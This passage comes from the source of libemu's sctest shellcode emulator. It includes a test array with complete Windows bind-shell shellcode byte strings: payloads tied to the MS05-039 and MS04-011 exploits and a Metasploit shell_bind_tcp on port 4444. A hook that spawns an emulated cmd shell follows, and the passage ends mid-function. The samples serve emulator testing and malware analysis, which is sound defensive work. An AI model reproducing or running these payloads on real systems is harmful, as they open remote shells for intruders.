bindshell 0.0.0.0:8594 - tried exploit PNP_QueryResConfList/MS05-39\",\n\t\t.code =\t\"\\x00\\x53\\x00\\x59\\x00\\x53\\x00\\x54\\x00\\x45\\x00\\x4d\\x00\\x5c\\x00\\x30\"//|.S.Y.S.T.E.M.\\.0|\n\t\t\t\t\"\\x00\\x30\\x00\\x30\\x00\\x30\\x00\\x00\\x00\\x00\\x00\\xff\\xff\\x00\\x00\\xe0\"//|.0.0.0..........|\n\t\t\t\t\"\\x07\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xc0\\x07\\x00\\x00\\x00\"//|................|\n\t\t\t\t\"\\x00\\x00\\x00\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\xeb\\x08\\x90\\x90\\x67\"//|...............g|\n\t\t\t\t\"\\x15\\x7a\\x76\\xeb\\x08\\x90\\x90\\x67\\x15\\x7a\\x76\\xeb\\x08\\x90\\x90\\x67\"//|.zv....g.zv....g|\n\t\t\t\t\"\\x15\\x7a\\x76\\xeb\\x08\\x90\\x90\\x67\\x15\\x7a\\x76\\xeb\\x08\\x90\\x90\\x67\"//|.zv....g.zv....g|\n\t\t\t\t\"\\x15\\x7a\\x76\\xeb\\x08\\x90\\x90\\x67\\x15\\x7a\\x76\\xeb\\x08\\x90\\x90\\x67\"//|.zv....g.zv....g|\n\t\t\t\t\"\\x15\\x7a\\x76\\xeb\\x08\\x90\\x90\\x67\\x15\\x7a\\x76\\xeb\\x08\\x90\\x90\\x67\"//|.zv....g.zv....g|\n\t\t\t\t\"\\x15\\x7a\\x76\\xeb\\x08\\x90\\x90\\x67\\x15\\x7a\\x76\\x90\\x90\\x90\\x90\\x90\"//|.zv....g.zv.....|\n\t\t\t\t\"\\x90\\x90\\xeb\\x08\\x90\\x90\\x48\\x4f\\x44\\x88\\x90\\x90\\x90\\x90\\x90\\x90\"//|......HOD.......|\n\t\t\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x29\\xc9\\x83\\xe9\\xb0\"//|...........)....|\n\t\t\t\t\"\\xd9\\xee\\xd9\\x74\\x24\\xf4\\x5b\\x81\\x73\\x13\\x19\\xf5\\x04\\x37\\x83\\xeb\"//|...t$.[.s....7..|\n\t\t\t\t\"\\xfc\\xe2\\xf4\\xe5\\x9f\\xef\\x7a\\xf1\\x0c\\xfb\\xc8\\xe6\\x95\\x8f\\x5b\\x3d\"//|......z.......[=|\n\t\t\t\t\"\\xd1\\x8f\\x72\\x25\\x7e\\x78\\x32\\x61\\xf4\\xeb\\xbc\\x56\\xed\\x8f\\x68\\x39\"//|..r%~x2a...V..h9|\n\t\t\t\t\"\\xf4\\xef\\x7e\\x92\\xc1\\x8f\\x36\\xf7\\xc4\\xc4\\xae\\xb5\\x71\\xc4\\x43\\x1e\"//|..~...6.....q.C.|\n\t\t\t\t\"\\x34\\xce\\x3a\\x18\\x37\\xef\\xc3\\x22\\xa1\\x20\\x1f\\x6c\\x10\\x8f\\x68\\x3d\"//|4.:.7..\".\\x.l..h=|\n\t\t\t\t\"\\xf4\\xef\\x51\\x92\\xf9\\x4f\\xbc\\x46\\xe9\\x05\\xdc\\x1a\\xd9\\x8f\\xbe\\x75\"//|..Q..O.F.......u|\n\t\t\t\t\"\\xd1\\x18\\x56\\xda\\xc4\\xdf\\x53\\x92\\xb6\\x34\\xbc\\x59\\xf9\\x8f\\x47\\x05\"//|..V...S..4.Y..G.|\n\t\t\t\t\"\\x58\\x8f\\x77\\x11\\xab\\x6c\\xb9\\x57\\xfb\\xe8\\x67\\xe6\\x23\\x62\\x64\\x7f\"//|X.w..l.W..g.#bd.|\n\t\t\t\t\"\\x9d\\x37\\x05\\x71\\x82\\x77\\x05\\x46\\xa1\\xfb\\xe7\\x71\\x3e\\xe9\\xcb\\x22\"//|.7.q.w.F...q>..\"|\n\t\t\t\t\"\\xa5\\xfb\\xe1\\x46\\x7c\\xe1\\x51\\x98\\x18\\x0c\\x35\\x4c\\x9f\\x06\\xc8\\xc9\"//|...F|.Q...5L....|\n\t\t\t\t\"\\x9d\\xdd\\x3e\\xec\\x58\\x53\\xc8\\xcf\\xa6\\x57\\x64\\x4a\\xa6\\x47\\x64\\x5a\"//|..>.XS...WdJ.GdZ|\n\t\t\t\t\"\\xa6\\xfb\\xe7\\x7f\\x9d\\x25\\xa5\\x7f\\xa6\\x8d\\xd6\\x8c\\x9d\\xa0\\x2d\\x69\"//|.....%........-i|\n\t\t\t\t\"\\x32\\x53\\xc8\\xcf\\x9f\\x14\\x66\\x4c\\x0a\\xd4\\x5f\\xbd\\x58\\x2a\\xde\\x4e\"//|2S....fL.._.X*.N|\n\t\t\t\t\"\\x0a\\xd2\\x64\\x4c\\x0a\\xd4\\x5f\\xfc\\xbc\\x82\\x7e\\x4e\\x0a\\xd2\\x67\\x4d\"//|..dL.._...~N..gM|\n\t\t\t\t\"\\xa1\\x51\\xc8\\xc9\\x66\\x6c\\xd0\\x60\\x33\\x7d\\x60\\xe6\\x23\\x51\\xc8\\xc9\"//|.Q..fl.`3}`.#Q..|\n\t\t\t\t\"\\x93\\x6e\\x53\\x7f\\x9d\\x67\\x5a\\x90\\x10\\x6e\\x67\\x40\\xdc\\xc8\\xbe\\xfe\"//|.nS..gZ..ng@....|\n\t\t\t\t\"\\x9f\\x40\\xbe\\xfb\\xc4\\xc4\\xc4\\xb3\\x0b\\x46\\x1a\\xe7\\xb7\\x28\\xa4\\x94\"//|.@.......F...(..|\n\t\t\t\t\"\\x8f\\x3c\\x9c\\xb2\\x5e\\x6c\\x45\\xe7\\x46\\x12\\xc8\\x6c\\xb1\\xfb\\xe1\\x42\"//|.<..^lE.F..l...B|\n\t\t\t\t\"\\xa2\\x56\\x66\\x48\\xa4\\x6e\\x36\\x48\\xa4\\x51\\x66\\xe6\\x25\\x6c\\x9a\\xc0\"//|.VfH.n6H.Qf.%l..|\n\t\t\t\t\"\\xf0\\xca\\x64\\xe6\\x23\\x6e\\xc8\\xe6\\xc2\\xfb\\xe7\\x92\\xa2\\xf8\\xb4\\xdd\"//|..d.#n..........|\n\t\t\t\t\"\\x91\\xfb\\xe1\\x4b\\x0a\\xd4\\x5f\\xf6\\x3b\\xe4\\x57\\x4a\\x0a\\xd2\\xc8\\xc9\"//|...K.._.;.WJ....|\n\t\t\t\t\"\\xf5\\x04\\x37\",                                                   //|..7|\n\t\t.codesize = 515,\n\t\t.in_state.reg  = {0,0xfffffe6c,0,0,0x12fe98,0x12ff74,0x12fe9c,0x12ff74}, // ollydbg\n\t\t.in_state.mem_state = {0, 0},\n\t},\n\t{\n\t\t.instr = \"Windows bind filetransfer 0.0.0.0:38963 - tried to exploit DsRolerUpgradeDownlevelServer/MS04-11\",\n\t\t.code =  \"\\x65\\x65\\x65\\x65\\x65\\x65\\x65\\x65\\x65\\x65\\x65\\x65\\x65\\x65\\x65\\x65\"//|eeeeeeeeeeeeeeee|\n\t\t\t\t \"\\x65\\x65\\x65\\x65\\x65\\x65\\x65\\x65\\x65\\x65\\x65\\x65\\x65\\x65\\x65\\x65\"//|eeeeeeeeeeeeeeee|\n\t\t\t\t \"\\x65\\x65\\x65\\x65\\x65\\x65\\x65\\x65\\x65\\x65\\x65\\x65\\x65\\x65\\x65\\x65\"//|eeeeeeeeeeeeeeee|\n\t\t\t\t \"\\x65\\x65\\x65\\x65\\x65\\x65\\xeb\\x02\\xeb\\x6b\\xe8\\xf9\\xff\\xff\\xff\\x53\"//|eeeeee...k.....S|\n\t\t\t\t \"\\x55\\x56\\x57\\x8b\\x6c\\x24\\x18\\x8b\\x45\\x3c\\x8b\\x54\\x05\\x78\\x03\\xd5\"//|UVW.l$..E<.T.x..|\n\t\t\t\t \"\\x8b\\x4a\\x18\\x8b\\x5a\\x20\\x03\\xdd\\xe3\\x32\\x49\\x8b\\x34\\x8b\\x03\\xf5\"//|.J..Z\\x...2I.4...|\n\t\t\t\t \"\\x33\\xff\\xfc\\x33\\xc0\\xac\\x3a\\xc4\\x74\\x07\\xc1\\xcf\\x0d\\x03\\xf8\\xeb\"//|3..3..:.t.......|\n\t\t\t\t \"\\xf2\\x3b\\x7c\\x24\\x14\\x75\\xe1\\x8b\\x5a\\x24\\x03\\xdd\\x66\\x8b\\x0c\\x4b\"//|.;|$.u..Z$..f..K|\n\t\t\t\t \"\\x8b\\x5a\\x1c\\x03\\xdd\\x8b\\x04\\x8b\\x03\\xc5\\xeb\\x02\\x33\\xc0\\x5f\\x5e\"//|.Z..........3._^|\n\t\t\t\t \"\\x5d\\x5b\\x89\\x44\\x24\\x04\\x8b\\x04\\x24\\x89\\x44\\x24\\x08\\x8b\\x44\\x24\"//|][.D$...$.D$..D$|\n\t\t\t\t \"\\x04\\x83\\xc4\\x08\\xc3\\x5e\\x6a\\x30\\x59\\x64\\x8b\\x19\\x8b\\x5b\\x0c\\x8b\"//|.....^j0Yd...[..|\n\t\t\t\t \"\\x5b\\x1c\\x8b\\x1b\\x8b\\x7b\\x08\\x83\\xec\\x1c\\x8b\\xec\\x33\\xc0\\x50\\x68\"//|[....{......3.Ph|\n\t\t\t\t \"\\x2e\\x65\\x78\\x65\\x89\\x65\\x14\\x57\\x68\\xea\\x49\\x8a\\xe8\\xff\\xd6\\x6a\"//|.exe.e.Wh.I....j|\n\t\t\t\t \"\\x06\\xff\\x75\\x14\\xff\\xd0\\x89\\x45\\x04\\x57\\x68\\xdb\\x8a\\x23\\xe9\\xff\"//|..u....E.Wh..#..|\n\t\t\t\t \"\\xd6\\x89\\x45\\x0c\\x57\\x68\\x8e\\x4e\\x0e\\xec\\xff\\xd6\\x33\\xc9\\x66\\xb9\"//|..E.Wh.N....3.f.|\n\t\t\t\t \"\\x6c\\x6c\\x51\\x68\\x33\\x32\\x2e\\x64\\x68\\x77\\x73\\x32\\x5f\\x54\\xff\\xd0\"//|llQh32.dhws2_T..|\n\t\t\t\t \"\\x8b\\xd8\\x53\\x68\\xb6\\x19\\x18\\xe7\\xff\\xd6\\x89\\x45\\x10\\x53\\x68\\xe7\"//|..Sh.......E.Sh.|\n\t\t\t\t \"\\x79\\xc6\\x79\\xff\\xd6\\x89\\x45\\x18\\x53\\x68\\x6e\\x0b\\x2f\\x49\\xff\\xd6\"//|y.y...E.Shn./I..|\n\t\t\t\t \"\\x6a\\x06\\x6a\\x01\\x6a\\x02\\xff\\xd0\\x89\\x45\\x08\\x33\\xc0\\x50\\x50\\x50\"//|j.j.j....E.3.PPP|\n\t\t\t\t \"\\xb8\\x02\\xff\\x98\\x33\\x80\\xf4\\xff\\x50\\x8b\\xc4\\x6a\\x10\\x50\\xff\\x75\"//|....3...P..j.P.u|\n\t\t\t\t \"\\x08\\x53\\x68\\xa4\\x1a\\x70\\xc7\\xff\\xd6\\xff\\xd0\\x58\\x53\\x68\\xa4\\xad\"//|.Sh..p.....XSh..|\n\t\t\t\t \"\\x2e\\xe9\\xff\\xd6\\x6a\\x10\\xff\\x75\\x08\\xff\\xd0\\x33\\xc0\\x50\\x50\\xff\"//|....j..u...3.PP.|\n\t\t\t\t \"\\x75\\x08\\x53\\x68\\xe5\\x49\\x86\\x49\\xff\\xd6\\xff\\xd0\\x8b\\x4d\\x08\\x89\"//|u.Sh.I.I.....M..|\n\t\t\t\t \"\\x45\\x08\\x51\\xff\\x55\\x18\\x81\\xc4\\xfc\\xfe\\xff\\xff\\x8b\\xdc\\x33\\xc9\"//|E.Q.U.........3.|\n\t\t\t\t \"\\x51\\xb1\\xff\\x51\\x53\\xff\\x75\\x08\\xff\\x55\\x10\\x85\\xc0\\x7e\\x0a\\x50\"//|Q..QS.u..U...~.P|\n\t\t\t\t \"\\x53\\xff\\x75\\x04\\xff\\x55\\x0c\\xeb\\xe5\\xff\\x75\\x08\\xff\\x55\\x18\\x57\"//|S.u..U....u..U.W|\n\t\t\t\t \"\\x68\\x5b\\x4c\\x1a\\xdd\\xff\\xd6\\xff\\x75\\x04\\xff\\xd0\\x33\\xc0\\x50\\xff\"//|h[L.....u...3.P.|\n\t\t\t\t \"\\x75\\x14\\x57\\x68\\x98\\xfe\\x8a\\x0e\\xff\\xd6\\xff\\xd0\\x57\\x68\\xef\\xce\"//|u.Wh........Wh..|\n\t\t\t\t \"\\xe0\\x60\\xff\\xd6\\xff\\xd0\\x65\\x65\\x65\\x65\",                       //|.`....eeee|\n\t\t.codesize = 458,\n\t\t.in_state.reg  = {0,0xfffffe6c,0,0,0x12fe98,0x12ff74,0x12fe9c,0x12ff74}, // ollydbg\n\t\t.in_state.mem_state = {0, 0},\n\t},\n\t{\n\t\t.instr = \"libemu dos\",\n\t\t.code =  \"\\xe3\\xfe\\xe8\",\n\t\t.codesize = 3,\n\t\t.in_state.reg  = {0,0xfffffe6c,0,0,0x12fe98,0x12ff74,0x12fe9c,0x12ff74}, // ollydbg\n\t\t.in_state.mem_state = {0, 0},\n\t},\n\t{\n\t\t.instr = \"windows/shell_bind_tcp AutoRunScript=, EXITFUNC=process, InitialAutoRunScript=, LPORT=4444, RHOST= http://www.metasploit.com\",\n\t\t.code =  \"\\xfc\\xe8\\x89\\x00\\x00\\x00\\x60\\x89\\xe5\\x31\\xd2\\x64\\x8b\\x52\\x30\"\n\t\t\t\t \"\\x8b\\x52\\x0c\\x8b\\x52\\x14\\x8b\\x72\\x28\\x0f\\xb7\\x4a\\x26\\x31\\xff\"\n\t\t\t\t \"\\x31\\xc0\\xac\\x3c\\x61\\x7c\\x02\\x2c\\x20\\xc1\\xcf\\x0d\\x01\\xc7\\xe2\"\n\t\t\t\t \"\\xf0\\x52\\x57\\x8b\\x52\\x10\\x8b\\x42\\x3c\\x01\\xd0\\x8b\\x40\\x78\\x85\"\n\t\t\t\t \"\\xc0\\x74\\x4a\\x01\\xd0\\x50\\x8b\\x48\\x18\\x8b\\x58\\x20\\x01\\xd3\\xe3\"\n\t\t\t\t \"\\x3c\\x49\\x8b\\x34\\x8b\\x01\\xd6\\x31\\xff\\x31\\xc0\\xac\\xc1\\xcf\\x0d\"\n\t\t\t\t \"\\x01\\xc7\\x38\\xe0\\x75\\xf4\\x03\\x7d\\xf8\\x3b\\x7d\\x24\\x75\\xe2\\x58\"\n\t\t\t\t \"\\x8b\\x58\\x24\\x01\\xd3\\x66\\x8b\\x0c\\x4b\\x8b\\x58\\x1c\\x01\\xd3\\x8b\"\n\t\t\t\t \"\\x04\\x8b\\x01\\xd0\\x89\\x44\\x24\\x24\\x5b\\x5b\\x61\\x59\\x5a\\x51\\xff\"\n\t\t\t\t \"\\xe0\\x58\\x5f\\x5a\\x8b\\x12\\xeb\\x86\\x5d\\x68\\x33\\x32\\x00\\x00\\x68\"\n\t\t\t\t \"\\x77\\x73\\x32\\x5f\\x54\\x68\\x4c\\x77\\x26\\x07\\xff\\xd5\\xb8\\x90\\x01\"\n\t\t\t\t \"\\x00\\x00\\x29\\xc4\\x54\\x50\\x68\\x29\\x80\\x6b\\x00\\xff\\xd5\\x50\\x50\"\n\t\t\t\t \"\\x50\\x50\\x40\\x50\\x40\\x50\\x68\\xea\\x0f\\xdf\\xe0\\xff\\xd5\\x89\\xc7\"\n\t\t\t\t \"\\x31\\xdb\\x53\\x68\\x02\\x00\\x11\\x5c\\x89\\xe6\\x6a\\x10\\x56\\x57\\x68\"\n\t\t\t\t \"\\xc2\\xdb\\x37\\x67\\xff\\xd5\\x53\\x57\\x68\\xb7\\xe9\\x38\\xff\\xff\\xd5\"\n\t\t\t\t \"\\x53\\x53\\x57\\x68\\x74\\xec\\x3b\\xe1\\xff\\xd5\\x57\\x89\\xc7\\x68\\x75\"\n\t\t\t\t \"\\x6e\\x4d\\x61\\xff\\xd5\\x68\\x63\\x6d\\x64\\x00\\x89\\xe3\\x57\\x57\\x57\"\n\t\t\t\t \"\\x31\\xf6\\x6a\\x12\\x59\\x56\\xe2\\xfd\\x66\\xc7\\x44\\x24\\x3c\\x01\\x01\"\n\t\t\t\t \"\\x8d\\x44\\x24\\x10\\xc6\\x00\\x44\\x54\\x50\\x56\\x56\\x56\\x46\\x56\\x4e\"\n\t\t\t\t \"\\x56\\x56\\x53\\x56\\x68\\x79\\xcc\\x3f\\x86\\xff\\xd5\\x89\\xe0\\x4e\\x56\"\n\t\t\t\t \"\\x46\\xff\\x30\\x68\\x08\\x87\\x1d\\x60\\xff\\xd5\\xbb\\xf0\\xb5\\xa2\\x56\"\n\t\t\t\t \"\\x68\\xa6\\x95\\xbd\\x9d\\xff\\xd5\\x3c\\x06\\x7c\\x0a\\x80\\xfb\\xe0\\x75\"\n\t\t\t\t \"\\x05\\xbb\\x47\\x13\\x72\\x6f\\x6a\\x00\\x53\\xff\\xd5\",\n\t\t.codesize = 341,\n\t\t.in_state.reg  = {0,0xfffffe6c,0,0,0x12fe98,0x12ff74,0x12fe9c,0x12ff74}, // ollydbg\n\t\t.in_state.mem_state = {0, 0},\n\t},\n\t{\n\t\t.instr = \"crash in loadlibrary\",\n\t\t.code =  \"\\x6A\\xFE\\xB8\\x77\\x1D\\x80\\x7C\\xFF\\xD0\",\n\t\t.codesize = 9,\n\t\t.in_state.reg  = {0,0xfffffe6c,0,0,0x12fe98,0x12ff74,0x12fe9c,0x12ff74}, // ollydbg\n\t\t.in_state.mem_state = {0, 0},\n\t},\n\t{\n\t\t.instr = \"crash in fwrite\",\n\t\t.code = \"\\x6A\\xFE\\x6A\\xFE\\x6A\\xFE\\x6A\\xFE\\xB8\\x3B\\x17\\xC1\\x77\\xFF\\xD0\",\n\t\t.codesize = 15,\n\t\t.in_state.reg  = {0,0xfffffe6c,0,0,0x12fe98,0x12ff74,0x12fe9c,0x12ff74}, // ollydbg\n\t\t.in_state.mem_state = {0, 0},\n\t},\n\t{\n\t\t.instr = \"crash in lwrite/hwrite\",\n\t\t.code = \"\\x6A\\xFE\\x6A\\xFE\\x6A\\xFE\\x6A\\xFE\\xB8\\xE7\\x8A\\x83\\x7C\\xFF\\xD0\\x00\\x00\\x00\",\n\t\t.codesize = 18,\n\t\t.in_state.reg  = {0,0xfffffe6c,0,0,0x12fe98,0x12ff74,0x12fe9c,0x12ff74}, // ollydbg\n\t\t.in_state.mem_state = {0, 0},\n\t},\n\t{\n\t\t.instr = \"crash in malloc\",\n\t\t.code = \"\\x6A\\xFE\\x6A\\xFE\\xB8\\x07\\xC4\\xBF\\x77\\xFF\\xD0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\",\n\t\t.codesize = 19,\n\t\t.in_state.reg  = {0,0xfffffe6c,0,0,0x12fe98,0x12ff74,0x12fe9c,0x12ff74}, // ollydbg\n\t\t.in_state.mem_state = {0, 0},\n\t},\n\t{\n\t\t.instr = \"crash in send\",\n\t\t.code = \"\\x6A\\xFE\\x6A\\xFE\\xB8\\x8A\\x42\\xA1\\x71\\xFF\\xD0\\x00\\x00\\x00\",\n\t\t.codesize = 14,\n\t\t.in_state.reg  = {0,0xfffffe6c,0,0,0x12fe98,0x12ff74,0x12fe9c,0x12ff74}, // ollydbg\n\t\t.in_state.mem_state = {0, 0},\n\t},\n\n\t{\n\t\t.instr = \"crash in execve\",\n\t\t.code = \"\\xB8\\xFF\\xFF\\xFF\\xFF\\xBB\\xFF\\xFF\\xFF\\xFF\\xB9\\xFF\\xFF\\xFF\\xFF\\x6A\\xFF\\x6A\\xFF\\x6A\\xFF\\x6A\\xFF\\x6A\\xFF\\x6A\\xFF\\x6A\\xFF\\x6A\\xFF\\x6A\\xFF\\x6A\\xFF\\xB0\\x0B\\xCD\\x80\\xCC\",\n\t\t.codesize = 40,\n\t\t.in_state.reg  = {0,0xfffffe6c,0,0,0x12fe98,0x12ff74,0x12fe9c,0x12ff74}, // ollydbg\n\t\t.in_state.mem_state = {0, 0},\n\t},\n\n\n\t/*{\n\t\t.instr = \"\",\n\t\t.code =  \n\t\t.codesize = 344,\n\t\t.in_state.reg  = {0,0xfffffe6c,0,0,0x12fe98,0x12ff74,0x12fe9c,0x12ff74}, // ollydbg\n\t\t.in_state.mem_state = {0, 0},\n\t},*/\n#endif // _NO_TESTS\n\n\t\n};\n\nint numtests(void)\n{\n#ifndef _NO_TESTS\n\treturn sizeof(tests)/sizeof(struct instr_test);\n#else\n\treturn 0;\n#endif\n}\n"
  },
  {
    "path": "tools/sctest/tests.h",
    "content": "#include <stdint.h>\n\nstruct instr_test\n{\n\tconst char *instr;\n\n\tchar  *code;\n\tuint16_t codesize;\n\n\tstruct \n\t{\n\t\tuint32_t reg[8];\n\t\tuint32_t        mem_state[2];\n\t\tuint32_t    eflags;\n\t} in_state;\n\n\tstruct \n\t{\n\t\tuint32_t reg[8];\n\t\tuint32_t        mem_state[2];\n\t\tuint32_t    eflags;\n\t\tuint32_t eip;\n\t} out_state;\n};\n\n#define FLAG(fl) (1 << (fl))\n\n\nextern struct instr_test tests[];\n\nint numtests(void);\n"
  },
  {
    "path": "tools/sctest/userhooks.c",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n\n#include \"../config.h\"\n\n#define HAVE_GETOPT_H\n#ifdef HAVE_GETOPT_H\n# include <getopt.h>\n#endif\n\n#ifdef HAVE_STDLIB_H\n# include <stdlib.h>\n#endif\n\n\n#include <stdint.h>\n\n#define HAVE_UNISTD\n#ifdef HAVE_UNISTD\n# include <unistd.h>\n#endif\n#include <stdio.h>\n\n#include <stdarg.h>\n\n\n#include <errno.h>\n#include <sys/select.h>\n\n#include <sys/wait.h>\n\n#ifdef HAVE_LIBCARGOS\n#include <cargos-lib.h>\n#endif\n\n\n#include <sys/types.h>\n#include <sys/socket.h>\n#include <netinet/in.h>\n#include <arpa/inet.h>\n\n#include <ctype.h>\n#include <signal.h>\n\n#include \"emu/emu.h\"\n#include \"emu/emu_memory.h\"\n#include \"emu/emu_cpu.h\"\n#include \"emu/emu_log.h\"\n#include \"emu/emu_cpu_data.h\"\n#include \"emu/emu_cpu_stack.h\"\n#include \"emu/environment/emu_profile.h\"\n#include \"emu/environment/emu_env.h\"\n#include \"emu/environment/win32/emu_env_w32.h\"\n#include \"emu/environment/win32/emu_env_w32_dll.h\"\n#include \"emu/environment/win32/emu_env_w32_dll_export.h\"\n#include \"emu/environment/win32/env_w32_dll_export_kernel32_hooks.h\"\n#include \"emu/environment/linux/emu_env_linux.h\"\n#include \"emu/emu_getpc.h\"\n#include \"emu/emu_graph.h\"\n#include \"emu/emu_string.h\"\n#include \"emu/emu_hashtable.h\"\n\n#include \"emu/emu_shellcode.h\"\n\n\n#include \"userhooks.h\"\n#include \"options.h\"\n#include \"nanny.h\"\n\n#include <stdint.h>\n#include <stdarg.h>\n\n\n#include <sys/socket.h>\n#include <netinet/in.h>\n#include <arpa/inet.h>\n#include <fcntl.h>\n#include <string.h>\n\nuint32_t user_hook_ExitProcess(struct emu_env *env, struct emu_env_hook *hook, ...)\n{\n\tprintf(\"Hook me Captain Cook!\\n\");\n\tprintf(\"%s:%i %s\\n\",__FILE__,__LINE__,__FUNCTION__);\n\n/*\nVOID WINAPI ExitProcess(\n  UINT uExitCode\n);\n*/\n\n\tva_list vl;\n\tva_start(vl, hook);\n\tint exitcode = va_arg(vl,  int);\n\tva_end(vl);\n\n\tprintf(\"%s(%i)\\n\", hook->hook.win->fnname, exitcode);\n\n\n\topts.steps = 0;\n\treturn 0;\n}\n\n\nuint32_t user_hook_ExitThread(struct emu_env *env, struct emu_env_hook *hook, ...)\n{\n\tprintf(\"Hook me Captain Cook!\\n\");\n\tprintf(\"%s:%i %s\\n\",__FILE__,__LINE__,__FUNCTION__);\n\n/*\nVOID ExitThread(\n  DWORD dwExitCode\n);\n*/\n\n\tva_list vl;\n\tva_start(vl, hook);\n\tint exitcode = va_arg(vl,  int);\n\tva_end(vl);\n\n\tprintf(\"%s(%i)\\n\", hook->hook.win->fnname, exitcode);\n\n\topts.steps = 0;\n\treturn 0;\n\n}\n\n\n\nvoid append(struct emu_string *to, const char *dir, char *data, int size)\n{\n\tchar *saveptr = data;\n\n\tstruct emu_string *sanestr = emu_string_new();\n\n\n\tint i;\n\tfor (i=0;i<size;i++)\n\t{\n\t\tif (data[i] == '\\r')\n\t\t{\n\n\t\t}else\n\t\tif ( isprint(data[i]))// || isblank(data[i]))\n\t\t{\n\t\t\temu_string_append_format(sanestr, \"%c\", data[i]);\n\t\t}\n\t\telse\n\t\tif (data[i] == '\\n')\n\t\t{\n\t\t\temu_string_append_char(sanestr, \"\\n\");\n\t\t}\n\t\telse\n\t\tif (data[i] == '\\t')\n\t\t{\n\t\t\temu_string_append_char(sanestr, \"\\t\");\n\t\t} \n\t\telse\n\t\t{\n\t\t\temu_string_append_format(sanestr, \"\\\\x%02x\", (unsigned char)data[i]);\n\t\t}\n\t}\n\n\tsaveptr = NULL;\n\n\n\tchar *tok;\n\ttok  = strtok_r(sanestr->data, \"\\n\", &saveptr);\n//\tprintf(\"line %s:%s\\n\",dir, tok);\n\tif (tok != NULL)\n\t{\n\t\temu_string_append_format(to, \"%s %s\\n\", dir, tok); \n\t\twhile ( (tok = strtok_r(NULL,\"\\n\",&saveptr)) != NULL )\n\t\t{\n\t\t\temu_string_append_format(to, \"%s %s\\n\", dir, tok);\n//\t\tprintf(\"line %s:%s\\n\",dir, tok);\n\t\t}\n\n\t}\n\temu_string_free(sanestr);\n}\n\nuint32_t user_hook_CreateProcess(struct emu_env *env, struct emu_env_hook *hook, ...)\n{\n\tprintf(\"Hook me Captain Cook!\\n\");\n\tprintf(\"%s:%i %s\\n\",__FILE__,__LINE__,__FUNCTION__);\n\n\tva_list vl;\n\tva_start(vl, hook);\n\n\t/* char *pszImageName\t\t\t\t  = */ (void)va_arg(vl, char *);\n\tchar *pszCmdLine                      = va_arg(vl, char *);               \n\t/* void *psaProcess, \t\t\t\t  = */ (void)va_arg(vl, void *);\n\t/* void *psaThread,  \t\t\t\t  = */ (void)va_arg(vl, void *);\n\t/* bool fInheritHandles,              = */ (void)va_arg(vl, char *);\n\t/* uint32_t fdwCreate,                = */ (void)va_arg(vl, uint32_t);\n\t/* void *pvEnvironment             \t  = */ (void)va_arg(vl, void *);\n\t/* char *pszCurDir                 \t  = */ (void)va_arg(vl, char *);\n\tSTARTUPINFO *psiStartInfo             = va_arg(vl, STARTUPINFO *);\n\tPROCESS_INFORMATION *pProcInfo        = va_arg(vl, PROCESS_INFORMATION *); \n\n\tva_end(vl);\n\tprintf(\"CreateProcess(%s)\\n\",pszCmdLine);\n\n\tif ( pszCmdLine != NULL && strncasecmp(pszCmdLine, \"cmd\", 3) == 0 )\n\t{\n\t\tpid_t child;\n\t\tpid_t spy;\n\n\n\n\t\tif ( (spy = fork()) == 0 )\n\t\t{ // spy\n\n\t\t\tint in[2];\n\t\t\tint out[2];\n\t\t\tint err[2];\n\n\t\t\tsocketpair( AF_UNIX, SOCK_STREAM, 0, in );\n\t\t\tsocketpair( AF_UNIX, SOCK_STREAM, 0, out );\n\t\t\tsocketpair( AF_UNIX, SOCK_STREAM, 0, err );\n\n\t\t\tif ( (child=fork()) == 0 )\n\t\t\t{ // child\n\n\t\t\t\tclose(in[0]);\n\t\t\t\tclose(out[1]);\n\t\t\t\tclose(err[1]);\n\n\t\t\t\tdup2(in[1], fileno(stdin));\n\t\t\t\tdup2(out[0], fileno(stdout));\n\t\t\t\tdup2(err[0], fileno(stderr));\n\n\t\t\t\tint sys = -1;\n\t\t\t\tstruct emu_hashtable_item *ehi = emu_hashtable_search(opts.override.commands.commands, \"cmd\");\n\t\t\t\tif ( ehi != NULL )\n\t\t\t\t\tsys = system((char *)ehi->value);\n\t\t\t\telse\n\t\t\t\t\tsys = system(\"/bin/sh -c \\\"cd ~/.wine/drive_c/; wine 'c:\\\\windows\\\\system32\\\\cmd_orig.exe' \\\"\");\n\n\t\t\t\tclose(in[1]);\n\t\t\t\tclose(out[0]);\n\t\t\t\tclose(err[0]);\n\n\t\t\t\tprintf(\"process ended (%i)!\\n\", sys);\n\t\t\t\texit(EXIT_SUCCESS);\n\t\t\t} else\n\t\t\t{\n\t\t\t\tstruct emu_string *io = emu_string_new();\n\t\t\t\tclose(in[1]);\n\t\t\t\tclose(out[0]);\n\t\t\t\tclose(err[0]);\n\t\t\t\tfd_set socks;\n\n\t\t\t\tfcntl(psiStartInfo->hStdInput,F_SETFL,O_NONBLOCK);\n\t\t\t\tfcntl(out[1],F_SETFL,O_NONBLOCK);\n\t\t\t\tfcntl(err[1],F_SETFL,O_NONBLOCK);\n\n\t\t\t\tchar buf[1048];\n\n\t\t\t\twhile ( 1 )\n\t\t\t\t{\n\t\t\t\t\tFD_ZERO(&socks);\n\t\t\t\t\tFD_SET(psiStartInfo->hStdInput,&socks);\n\t\t\t\t\tFD_SET(out[1],&socks);\n\t\t\t\t\tFD_SET(err[1],&socks);\n\n\t\t\t\t\tint highsock = MAX(psiStartInfo->hStdInput, MAX(out[1], err[1]));\n\n\n\t\t\t\t\tstruct timeval timeout = { 10, 0};\n\n\t\t\t\t\tint action = select(highsock+1, &socks, NULL, NULL, 